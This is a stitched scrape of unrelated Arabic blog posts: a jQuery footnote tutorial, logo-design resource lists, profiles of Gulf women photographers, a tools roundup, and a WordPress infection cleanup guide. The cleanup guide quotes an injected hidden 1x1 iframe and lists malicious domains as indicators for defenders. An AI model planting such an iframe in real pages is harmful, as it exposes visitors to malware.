	.addClass("footnotes nodisplay")
	.insertAfter($hr);
$orderedList = $("<ol/>")
	.appendTo($footnotes);

@media screen
{
	.nodisplay
	{
		display:none;
	}
}

جمع كل ماهو رابط ومرجع

var subNumber = 1;
var linksArr = [];
var subText = '';
$(container).find("*[cite],*[href]").each(function(){
	var link = $(this).attr("href") ? $(this).attr("href") : $(this).attr("cite");

نقوم بتعريف متغيرات بسيطة تساعدنا في التخلص من الروابط المتكررة، ومن ثم جمع كل العناصر التي لديها خاصية href أو خاصية cite عن طريق jQuery selectors. ومن ثم المرور بها كل على حدى.

نقوم بتسجيل المرجع إذا كان رابطاً href أو مرجع cite في متغير نسيمه link.

if ((i = $.inArray(link, linksArr)) > -1)
{
	subText = i + 1;
}

للتخلص من الروابط المتكررة، نقوم بالتأكد إذا كان الرابط الحالي المعرف في متغير link معرّف مسبقاً في المصفوفة linksArr عبر استخدام دالة inArray. إذا كان كذلك، سنقوم بأخذ رقمه التسلسلي والمسجل في متغير i وإضافة 1 عليه. لأنه كما تعلمون العد في اللغات البرمجية والإلكترونيات يبدأ من الصفر.

else
{
	subText = subNumber;
	$orderedList.append("<li>&#x202A;" + decodeURI(link) + "&#x202C;</li>");
	linksArr.push(link);
	subNumber++;
}

إن كان الرابط غير مكرر مسبقاً، إذاً هو جديد، لذا سنقوم بأخذ رقمه من متغير subNumber والذي يزيد كل مرة بمقدار واحد وتسجيله في متغير subText. ومن ثم فتح عنصر قائمة li وإدراج الرابط فيه، لإدراجه لاحقاً في المساحة التي جهزناها للمراجع.

ستلاحظون استخدامي لبعض من محارف يونيكود.

‪
‬
‏

هذه المحارف المخفية تهتم بتحويل اتجاه النص الذي يكتب من اليمين أو اليسار. وقد كتبت مقالاً يشرح استعمالها لمزيد من المعلومات حولها.

دالة decodeURI تهتم بتحويل رموز URI للنطاقات العربية إلى أحرف مفهومة. لأن الروابط المكتوبة باللغة العربية يتم تحويلها إلى رموز ليفهمها المتصفح، مثلاً حرف الحاء (ح) يساوي (%D8%AD).

من ثم نقوم بتسجيل الرابط في مصفوفة التأكد من الرابط الفريد (الغير مكرر) للعنصر التالي.

ادراج رقم الحاشية

subText = "&#x200F;<sup class=\"nodisplay\">(" + subText + ")</sup>";
if (this.tagName.toLowerCase() == 'blockquote')
{
	$(this).children(":last-child").append(subText);
}
else
{
	$(this).after(subText);
}

نقوم الآن بأخذ رقم الحاشية من المتغير subText والذي تم تسجيله سابقاً. ووضعه في عنصر sup والذي يعني الرقم الصغير الذي يأتي فوق النص للدلالة على الحاشية.

عند الاقتباس باستخدام عنصر blockquote ففي العادة، يتم إدراج عنصر كتلة block element آخر بداخله سواء فقرة p أو قائمة li أو ol. لذلك علينا أن ندرج رقم الحاشية بعد آخر عنصر ولد last child element داخله، وفي نفس الوقت يكون داخل عنصر blockquote.

وإذا كان أي عنصر آخر سواء رابط a أو اقتباس ضمني q سيكون رقم الحاشية محاذياً له.

جافاسكربت معطّلة؟ لا مشكلة!

$(container).addClass("deleteLinks");

يمكننا وبكل بساطة الرجوع إلى الحركة القديمة لإدراج الروابط بشكل ضمني مع النصوص عند تعطيل الجافاسكربت. حيث بإضافة فئة deleteLinks نقوم بمنعها من الظهور إذا كان المتصفح يستخدم الجافاسكربت. ولكن إن كانت معطلة، فإضافة الفئة لن تتم. ويمكننا الرجوع بأمان degrading gracefully إلى الروابط الضمنية.

@media print
{
	.article a:after
	{
		content: " ("attr(href)") ";
		font-size: 90%;
	}
	.deleteLinks a:after
	{
		content: "";
	}
}

أساسيات تصميم الشعارات

شعارات مدونة عربية تهتم بتصميم الشعارات

دورة تصميم الشعارات – مدرسة مازن

فن تناسق الألوان – مدونة أزهار قلبي

تصميم المنتجات – دلالات اللون من مدونة تفاصيل

أول زيارة لي لمدونة تفاصيل في الحقيقة مستوى فني راقي و أعمال مميزة لأمل .و الكثير من الموضوعات موثقة بالصور و أصلية .

اللون – مدونة تفاصيل

الموضوع يختص بألوان الديكور أكثر لكن أساسيات تأثير الألوان متشابههة لحد كبير .

موضوعات أجنبية

1. 11 خطوة لتصميم شعار ناجج .
2. ٥ خطوات لتصميم شعار
3. ٨ خطوات لتصميم الشعار المثالي .
4. نماذج مسودات ( سكيتشات ) لتصميم شعار مدونتي ( مدونة davidairey  ) .
5. Karly Barrett خطوات تصميم شعاري و مسوداتي .
6. مجموعة أدوات لرسم مسودات للشعار .
   
7. خطوات تصميم شعار botanica .
   
8. دراسة حالة : تصميم شعار BayFront Bisto .
   
9. أولى الخطوات عند تسعير شعار .
10. 35 مصدر للألوان للمصممين .
11. مصممين أصبحوا ايقونات في عالم تصميم الشعارات  : تعرف على من كان خلف أشهر العلامات التجارية في العالم .
12. و بما أني قد وضعت الكثير من الموضوعات من مدونة David Diary و هو مصمم مميز الق نظرة على مدونتة و معرضة ففيه موضوعات ثمينة .
13. Dache خطوات تصميم شعار .
    
14. خطوات تصميم شعار Logo Design Process and Walkthrough for Vivid Ways
    
15. مقابلة مع Sol Sender رئيس فريق مصممي أوباما يتحدث عن تصميم شعار حملة أوباما .
16. خطوات تصميم شعار  Sikbox .
    

معارض الشعارات

Logo Gallery

معرض الشعارات في deviantart

Logo galleria

The Design Inspiration

Logo Fury

Logo Spire

Logo of the day

Logo Moose

Logo fav

LogoFI

Logo Gala

Logo Pond

Logo Creattica

مصورة كويتية متخصصة أكاديميا بالتصوير الفوتوغرافي و بالتالي فهي تعرف ما تفعل لها اسلوب رائع في بدايتي في التصوير الفوتوغرافي في ٢٠٠٦ كانت من الأوائل الذين ألتقيت بهم في فلكر ( مجموعة تصويري)  في  مدونتها الشخصية يمكنك أن تجد قائمة بالمشاريع التي عملت عليها انصحك بزيارة قسم المشاريع خاصة مشروع     Kuwaiti in London بالإضافة لذلك فهي طباخة ماهرة

هبة الجدعان

مصورة كويتية كل مرة استعرض فيها معرض صورها اتمنى أن اركب أول طائرة إلى الكويت و آخذ أول سيارة أجرة تمر أمام المطار و اذهب مباشرة للأستديو الذي تملكه لأصور أطفالي فتصويرها للأطفال مبتكر و محترف قد تميز بعض من أعمالها على أغلفة بعض المجلات كما قد تكون تعرفها بسبب انتشار بعضها كتواقيع للمنتديات .

نور صالح

http://www.flickr.com/photos/noor_saleh/

نور صالح من قطر بالرغم من صغر سنها تملك موهبة و أسلوب خاص مميز يميزها عن غيرها فلكل صورة فكرة و هدف و مغزى و هي نشيطة في نطاق التصوير الفوتوغرافي في قطر .. صورها بسيطة و معبرة و أكثرها بدون اي تعديل فوتوشوبي.

أحلام العمادي

ليس فقط لانها ابنة عمي فلو شاهدت أعمالها ستدرك أنها مبدعة خاصة في تصوير البورتريه و الأطفال فالبرغم من الفترة القصيرة التي بدأت بها في التصوير إلا أنها ماشاءالله اثبتت نفسها ( الصورة : عائشة الجميلة ابنة أخي).

شعاع بنت جاسم

مصورة قطرية من المصورات القطريات النشطات في مجال التصوير الفوتوغرافي و قد شاركت في عدد من المعارض خارج و داخل قطر في راي الشخصي ان محور المناظر الطبيعية أو التصوير الخارجي بشكل عام هو من نقاط قوتها و أكثرها تميزا .

نادية السليطي

مصورة قطرية  عرفت أعمالها مؤخرا في فلكر لها أعمال قوية في بساطتها يبدو أنها من محبي الألوان فأنت تراها بكثرة في أعمالها .. فأعمالها ملونة بشكل كبير.

فاطمة الصايغ

مصورة كويتية . أعمالها في الأستديو و خاصة بورتريه الاطفال . أعمالها متنوعة  و بعضها يحمل حس دعابة .

أنوار القريشي

مصورة كويتية (أيضا ) أفكار غريبة و مميزة . هي مصممة جرافيك في الأساس لذلك تجد تأثير هذا في صورها و طريقتها في المعالجة . قبل فترة قامت أنوار بمشروع مميز و هو صورة يوميا لمدة عام كامل ( ٣٦٥يوم ) و التزمت به و أكملته و انا أحييها على ذلك فهذه ليست مهمة سهلة و الكثير لم يتمكنوا من اتمامها .

فاطمه غانم الهديفي

تعرفت على أعمال فاطمة من خلال إبداعتها في مجال المكارو و التماثيل الصغيرة Miniatures . ففي كل مرة تتخيل أنها صورت الفكرة الأفضل تفاجئك بفكرة جديدة و غريبة و ترسم البسمة على شفتيك .

ميثاء بنت خالد

من الإمارات العربية المتحدة . تعرفت على أعمالها مؤخرا من خلال أحد المنتديات العربية .للأسف لاتملك معرض في فلكر( فهو محضور في الأمارات ) و موقعها الشخصي لا يحوي الكثير من أعمالها و اغلبها موجودة في منتديات التصوير  لكن لو أجريب بحث بسيط في جوجل ستجد الكثير من روائعها .

مريم المزروعي

من الإمارات العربية المتحدة. أفكار ثورية و غريبة و تنفيذ متقن .

مشاعل الشويعر

من المملكة العربية السعودية .أعمالها قوية و إضاءة مميزة تقريبا في كل صورها. تصور في محاور مختلفة و لوتابعت صورها من الاقدم إلى الأجدد ستلاحظ كم تطورت أعمالها .

ملاحظة : في الصورة السابقة التفاحة غير حقيقية و بالتالي المصورة لم تسئ للنعمة  بطريقة أو بأخرى
No apple was harmed during the production of the photo

تيسيرة البرام

من سلطنة عمان مبدعة . ارتبطت في ذهني بتصوير الحلي و اجد أن لها طابعها المميز في هذا المحور.

فاصل أعلاني

أنا من هواة التصوير و أملك معرضا متواضعا في فلكر ..

هذا ما يسمى Shameless Promotion دعاية ذاتية بدون خجل و انا ادعوكم لزيارة معرضي المتواضع و بالرغم من اني اعتبر نفسي مطورة و مصممة بالدرجة الأولى لكن للتصوير جانب و هو جانب مظلوم لا أعطيه حقه كثيرا .

خاتمة

أنا متأكدة ان هذه القائمة غيض من فيض و أن هناك الكثيرات من المصورات الخليجيات المبدعات و اللاتي أتمنى أن اسمع عنهم و منهم .و لو بدا سيطرة دول معينة على القائمة فذلك ليس لفقر الدول الأخرى بالمصورات بل لفقري في المعلومات و لعدم معرفتي بهن فأن كنت تعرف مصورة مبدعة لم أدرجها فضلا اخبري لريما يكون للموضوع جزء ثاني . أو لو كنت تعرف مصورات عربيات مميزات من دول عربية أخرى فضلا اخبرني كنت أريد أن انشأ قائمة تشمل دول أخرى لكن للأسف نطاق  معرفتي محدود بالخليج .

بريد جي ميل هو مركز بريدي منذ ان كتبت هذا الموضوع و انا أجده أفضل من اي برنامج للبريد الإلكتروني استخدمته قبلا ( كنت استخدم Thunder Bird) .و اعتقد اكثر ما يميزه هو قوته من ناحية تصفية الرسائل المزعجة Spam Mail فلقد تفوق على اي برنامج أو خدمة استخدمتها و انا تصلي الكثير و الكثير من الرسائل المزعجة خاصة على بريد الموقع الرسمي .

Things

و هو برنامج لإدارة المهام .استخدمه منذ فترة لكني احاول أن اجعل نفسي أكثر انضباطا و ان لا اتجاهله كثيرا خاصة عند العمل على مشاريع تحتاج أن تنتهي في وقت محدد . كما يتوفر تطبيق للأيفون حتى تتمكن من مزامنه هاتفك مع جهازك لم اجربه بعد لكني سأفعل في يوم من الأيام

تصميم البرنامج جدا رائع و سهل و منظم و مصمم ليناسب بيئة عمل ماك   سعر البرنامج ٤٩ دولار امريكي .

Are my sites up

و هي خدمة تتفقد موقعك و ترسل لك رسالة في حال توقف موقعك لأي سبب من الأسباب و عودته.  الخدمة مجانية حتى ٥ مواقع و يمكنك ان تطلب ارسال تنبيه على بريديك  أو استقبال رساله نصية ( لبلدان معينة ).

2Checkout *

تتيح لك استقبال المال من خلال البطاقات الائتمانية أملك حسابي منذ ما يزيد عن ٥ سنوات و لم استعمله إلا ٣ مرات فمعظم الزبائن العرب يفضلون الدفع بالحواله المالية و لا يفضلون استخدام بطاقاتهم  و هو أفضل بالنسبة لي أيضا لان  باستقبال المال بواسطة هذه الخدمة تحصل الشركة على نسبة ٥ و نصف في المئه و عند تحويل المال إلى حسابي البنكي فهناك ايضا اقتطاع للتحويل و بالتالي انا افضل الحوالة المباشرة . لكن من الضروري توفير خيار الدفع هذا .

عند التسجيل في الخدمة تدفع في المرة الأولى ٤٩ دولار و من ثم تدفع 5.5% من قيمة كل عمليه بيع .تقبل الشركة معظم دول العالم و كما توفر الدفع بواسطة عدد من البطاقات الأئتمانية بالإضافة لpaypal و بالتالي يمكنك استقطاب شريحة كبيرة من الناس خاصة ان paypal تقبل الدفع لكثير من الدول العربية و لا تقبل استقبال المال إلا لدول محدودة .

Freshbook *

هذه من أهم أدوات المشاريع التي استخدمها يمكنني اصدار الفواتير أو فواتير تقديرية للمشاريع و يمكنني ربطها بال2co( الخدمة السابقة ) ليقوم العميل بالدفع مباشرة بمجرد وصول الفاتورة إليه كما يمكنك إرسال الفاتورة مطبوعة لبريده .

كما يمكنك تنظيم المشاريع التي تعمل عليها و تتبع الوقت الذي تستغرقه في العمل على المشاريع. و أيضا يمكنك تقديم الدعم الفني لعملائك بنظام التذاكر بالإضافة لإصدار القارير في النهاية . الخدمة متجددة باستمرار وهناك الكثير من الأضافات تقريبا كل شهر هناك تطوير في النظام و هذا رائع بالفعل . الخدمة مجانية حتى ٣ عملاء لو كنت تريد إضافة المزيد (هذه قائمة الأسعار ).

Snippet

برنامج لجمع  و تصنيف الأكواد هذا البرنامج وفر علي وقت كبير كنت في السابق في كل مرة أردت شفرة معينة أو تعديل معين على قوالب ورد بريس مثلا ابحث في مكتبة الوردبريس ليست عمليه صعبة لكني الآن جمعت كل ما استخدمه بصورة متكررة في هذا البرنامج البرنامج يظهر على الشريط العلوي و هو بسيط و فعال و يمكنك فهرسة الشفرات و اعطاءها اوسمة للبحث عنها. البرنامج تجاري و سعرة 12.95 دولار .

IGoogle

لا احب أي من قارئات الخلاصات أفضل igoogle لعرض و تصنيف الخلاصات .

twitter fox

إضافة فايرفوكس لعرض و إضافة تويتراتي بسرعة كبيرة .

Adobe Browse lab

لعرض المواقع التي أصممها و معرفة كيف تبدو على اكثر من شاشة و متصفح الخدمة سريعة و يمكنك التحول من متصفح لآخربسرعة و الحصول على صورة Screenshot لشكل الموقع .

ViewLike.Us

لعرض موقعك و كيف يبدو على أكثر من شاشة بدقة  مختلفة بدءا من الايفون و حتى شاشة بدقة 1920*1200.مع ملاحظاتي على الموقع  عدم دقة بعض النتائج مثلا على الايفون يبدو موقعي جيدا و العمودين في مكانهما كما هو مفروض لكن أصغر حجما لكن في هذه الخدمة عند تجربة اي فون وجدت ان عمود القوائم على اليمين نزل إلى اسفل الشاشة لذلك لاتعتمد على النتائج كثيرا .

Mind mapping

لانشاء و تصميم الخرائط الذهنية خاصة عندما أصاب بشلل إبداعي أن صح التعبير و أجد اني لا استطيع أن اصل لما اريد.

أدوات كنت استخدمها ولم أعد ؟

• لكنها قد تفيدك على أي حال

• Google Notebook
• إضافة Scrapbook لفايرفوكس

اجريت بحث عن التورجان و بحثت في شفرة المصدر للموقع ووجدت السطر التالي

<iframe src=”http://internetcountercheck.com/?click=xxxxxxx” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

قمت بتفتيش النسخة الأصلية من الموقع و الموجود على السيرفر الخاص و لم أجد أثر للفايروس  و لم أكن املك الوقت لمراجعة جميع الملفات فقمت بتركيب نسخة جديدة و نظيفة من الورد بريس و حلت المشكلة و لله الحمد .

و من ثم كان اللقاء الثاني .. أحد متابعي على تويتر ارسل التالي

و هذا يجعل القارئ يعتقد أني من اضيف هذه التروجان للمواقع و راجعت جميع المواقع و لم اجد إلا صفحة واحدة في الموقع السابق و مدونة أخرى أما المواقع التي أديرها انا كانت سليمة و نظيفة و هكذا استبعدت ان يكون جهازي مصدر هذه التروجان لانها من باب اولى انتشرت في مواقعي أنا و التي استخدمها و أزورها بشكل أكبر  خاصة اني من مستخدمي الماك و نحن نعرف كيف أن الماك الأقل من حيث التروجان و الفايروسات .

و هذا جعلني أجري بحث أكبر حوله و اسبابه و التالي هو خلاصة ما وصلت له .. لعل و عسى أحد ما يستفيد ..

ما هي الملفات المصابة ؟

في الغالب ملفات الفهرس  index.phpو هي  :

• ملف الفهرس الرئيسي لوردبريس index.php
• ملف الفهرس لمجلد  wp-admin  و هو index.php.
• ملف الفهرس لكل القوالب index.php  سواء القالب الذي تستخدمه أو اي قالب آخر موجود على السيرفر.
• قد تكون هناك ملفات آخرى لكن هذا ما وجدته في المواقع التي قمت بتنظيفها و هذا ما قرأته في أغلب المصادر.

كيف حدث ذلك ؟

أن كنت تعتقد انك تعرضت للآختراق فليس بالضرورة هذا هو السبب و على الأرجح ليس هو السبب

١- الأستضافة

احتمال آخر قد يكون ان السيرفر الذي يستضيف موفعك تعرض لهجوم أو أصيب و متى ما اصيب موقع واحد على السيرفر أصيبت باقي المواقع .

٢- أنت

نعم أنت أو اي من مستخدمي الموقع على الأرجح هناك دودة   Warm في جهازك تستخدم برنامج Ftp    لزرع هذه الشفرات في ملفاتك و رفعها .فهي بشكل ما تقرأ كلمة المرور الخاصة بك و تستخدمها .

٣- أنت ايضا

قد لا تكون تستخدم الاف تي بي على جهازك لكن قد تستخدم واجهة وردبريس لرفع الموضوعات و الصور و هي طريقة اخرى  لنقل العدوى .

كيف أعرف ان كان موقعي مصاب ؟

لو لم تكن تملك برنامج للحماية من الفايروسات . زر موقعك و افتح الشفرة المصدرية استخدم خاصية البحث فهي أفضل و ابحث عن iframe  . في الغالب الشفرة تأخذ الشكل التالي و تكون في نهاية الصفحة .

<iframe src=”http://xxxxxxxxxx.com/?click=xxxxxxx” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

حيث تعبر xxxxx عن قيم مختلفة لمواقع مختلفة .

كيف أعالج الوضع ؟

• افحص جهازك و ازل التروجان لو كان موجودا .
• لديك احد الخيارين أما تحميل نسخة نظيفة من الورد بريس و نسخة نظيفة من القالب
• أو
• فتح الملفات  المصابة و التي ذكرتها في الأعلى و إزالة السطر

<iframe src=”http://internetcountercheck.com/?click=xxxxxxx” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

• و الذي ستجده في نهاية الملف .

• بعض المصادر تفضل أن تقوم بتغيرات كل كلمات المرور  مثل ftpو السي بانيل و الدخول لوردبريس خاصة أن وجدت أن جهازك مصاب .

هل سيتأثر ترتيبي في جوجل و محركات البحث الأخرى ؟

كن سريعا و سريعا جدا  حتى لا تظهر جوجل رسالة بجانب موقعك تحذر منه للـتأكد من تصنيفك أمنيا في جوجل استخدم الوصلة التالية بدل عنوان مدونتي بعنوان الموقع الذي تريد التأكد منه .

http://www.google.com/safebrowsing/diagnostic?site=http://qatardr.net

معلومات إضافية

النافذة   iframe  قد تشير لأحد المواقع التالية :

• internetcountercheck.com
• peskostruikaz .com
• hosttracker .net
• nipkelo .net
• deisvop .net
• live-counter .net
• klaomta .com
• ibalefo .net
• xtrarobotz .com
• thedeadpit .com
• webexperience13 .com
• durnosy .com
• goooogleadsence .biz
• vafuiek .com
• google-ana1yticz .com
• bukirda .com
• hostverify .net
• hotslotpot.cn/in .cgi
• nipkelo .net
• nyoflak .com
• sefauro .net
• beidzan .com

وصلات

• معلومات التروجان في Mcafee

و أخيرا .. حكمة اليوم

• اللي يعيش ياما  يشوف .. و اللي ما يحدث مدونته يستاهل .

لا يبدو أن التصويت لصالح المدونة يسير بشكل جيد   ( مع تحفظي الشديد على ما يجري  في التصويت و كيف يسير و كيف أن معظم المدونات التصويت لها سلبي  و لكني لن أخوض في ذلك أبدا ) . لن ازعج نفسي كثيرا و لن أسجل بأكثر من اسم للتصويت أو أدعو جميع الأهل و الأقارب الأحياء منهم و الاموات للتصويت . أطلب منك أنت عزيزي القارئ فقط التصويت لو أحسست أني استحق .

وشكر مقدما .

إضافة : يبدو أن النتائج تغيرت و تبين لي اني لست الوحيدة التي لاحظت أن هناك من يصوت لمدونة بالأيجاب و يصوت للجميع بالسلب و بالتالي هو يرفع المدونة التي يريد مرة و ينزل الأخريات مرة و تكون المدونة كأنها كسبت ٩ نقاط . يبدو أن لجنة المسابقة لاحظت ذلك و هناك تحذير في البداية قبل ظهور القائمة .اشكرهم على ذلك و هذه المسابقة في سنتها الأولى الاخطاء واردة و لا يمكن الحكم على فعالية أي مشروع إلا بعد ٣ سنوات على الاقل أو ربما ٥ سنوات لقياس مدى جودة و فعالية المسابقة و تعديل النظام استنادا على الاخطاء  و اعتقد أن نظام السالب و الموجب ليس الأفضل و رأي هذا ليس استنادا على كوني في المركز الأخير   بل استنادا على ما ذكرته في البداية